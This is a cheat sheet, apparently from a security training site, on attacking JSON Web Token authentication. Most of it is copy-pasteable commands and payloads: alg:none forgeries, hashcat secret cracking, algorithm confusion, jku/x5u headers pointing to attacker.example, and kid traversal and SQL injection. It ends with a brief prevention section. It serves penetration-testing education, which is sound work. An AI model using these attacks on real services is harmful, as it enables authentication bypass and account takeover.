JWT Attacks: The Complete Practical Guide
JWT Attacks Cheat Sheet
A dense, copy-pasteable JWT reference: decode, alg:none, weak-secret cracking, algorithm confusion, kid/jku/jwk injection, claim tampering, and prevention.
Published
Every JWT attack you reach for, in one place. The core move never changes: get the server to accept a token it should reject, by skipping verification, recovering the key, or fooling the server about which key to use. For the how and why behind each section, start at the JWT guide. Lock it in on a free live target.
Decode a token (base64url, URL-safe alphabet, stripped padding)
# header
echo 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9' | tr '_-' '/+' | base64 -d
# {"alg":"HS256","typ":"JWT"}
# with python / PyJWT (no verification)
python3 -c "import jwt,sys; print(jwt.get_unverified_header(sys.argv[1])); print(jwt.decode(sys.argv[1], options={'verify_signature': False}))" <TOKEN>
# or just
python3 jwt_tool.py <TOKEN>First move on any token: split on the dots, decode the first two parts, note the
algand which claim sets your privileges. See anatomy of a JWT.
alg:none (skip the signature)
Set alg to a none variant, edit the claims, send an empty signature (keep the trailing dot).
{ "alg": "none", "typ": "JWT" }
{ "alg": "None", "typ": "JWT" }
{ "alg": "NONE", "typ": "JWT" }
{ "alg": "nOnE", "typ": "JWT" }eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.python3 jwt_tool.py <TOKEN> -X aThe case variants dodge a blocklist that only matched lowercase
none. Also test a garbage signature, some servers never verify at all. See flawed signature verification.
Weak HMAC secret: crack offline, then forge
# hashcat (mode 16500 = JWT)
hashcat -a 0 -m 16500 token.jwt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 token.jwt /usr/share/wordlists/rockyou.txt -r rules/best64.rule
# jwt_tool dictionary crack
python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
# re-sign / tamper once you know the secret
python3 jwt_tool.py <TOKEN> -S hs256 -p 'cracked-secret' -T
# forge in python
python3 -c "import jwt; print(jwt.encode({'sub':'admin','role':'admin'}, 'cracked-secret', algorithm='HS256'))"Only works on HMAC (
HS256/384/512) with a guessable secret. A long random key does not crack. See weak secret brute force.
Algorithm confusion (RS256 verifier tricked into HS256)
# 1. get the RSA public key
curl https://target.tld/.well-known/jwks.json # or /jwks, /keys, OIDC discovery
docker run --rm -it portswigger/sig2n <t1> <t2> # recover candidate keys from two tokens
# 2. sign an HS256 token using the PUBLIC KEY file bytes as the HMAC secret
python3 jwt_tool.py <TOKEN> -X k -pk public.pemThe HMAC secret must be the public key in the EXACT byte form the server loads it, normally the full PEM including the
-----BEGIN PUBLIC KEY-----armor and trailing newline. A single wrong byte breaks it. See algorithm confusion.
Header injection: jwk / jku / kid / x5u
{ "alg": "RS256", "jwk": { "kty": "RSA", "n": "<your-n>", "e": "AQAB" } }
{ "alg": "RS256", "jku": "https://attacker.example/jwks.json" }
{ "alg": "HS256", "kid": "../../../../../../dev/null" }
{ "alg": "HS256", "kid": "nonexistent' UNION SELECT 'attackerkey'-- -" }
{ "alg": "RS256", "x5u": "https://attacker.example/cert.pem" }python3 jwt_tool.py <TOKEN> -X i # inject your own jwk
python3 jwt_tool.py <TOKEN> -X s -ju https://attacker.example/jwks.json # spoof a jku JWKS
kidto/dev/nullmeans the server loads an empty key, so sign with an empty or null key (in Burp's JWK editor enterkasAA==, base64url for a null byte;jwt_tool/raw code uses the empty key directly).kidSQLi means sign with the value the injected query returns.jku/x5uneed the server to fetch your URL. See JWK, JKU, and KID injection.
Claim tampering (once you can sign, or when exp is unchecked)
"exp": 9999999999 far-future expiry
"nbf": 0 valid from the epoch, so already valid
"iat": <now> fix issued-at if the server sanity-checks itRemove
expentirely on servers that accept a token with no expiry. Even without signing, many servers decode but never checkexp, so an old token replays.
Attack triage checklist
[ ] Decode: what alg? which claim (role/sub/exp) decides access?
[ ] alg:none (+ None / NONE / nOnE), empty signature.
[ ] Garbage signature: is the token accepted unverified?
[ ] HS256: crack the secret (hashcat -m 16500 / jwt_tool -C).
[ ] RS256: fetch the public key, try algorithm confusion (RS256 -> HS256).
[ ] Header params: jwk (embed), jku (your JWKS), kid (traversal / SQLi), x5u.
[ ] Tamper exp/nbf; replay an expired token (expiry often unchecked).
[ ] Rewrite role/sub and re-sign with whatever key you now control.Prevention
- Pin the algorithm server-side and pass it explicitly to the verifier (PyJWT
algorithms=["HS256"], Node{ algorithms: ["HS256"] }). Rejectnone. - Verify, do not just decode. Fail closed on any verification error.
- Strong keys: a long random HMAC secret, or well-managed asymmetric keys. Never reuse a key across algorithms.
- Reject or pin
jwk,jku,x5u,x5c. Allow-listkidand never let it reach a file or query sink. - Validate
exp,nbf,iss,audevery request. Keep tokens short-lived and revocable.
Full detail in preventing JWT attacks.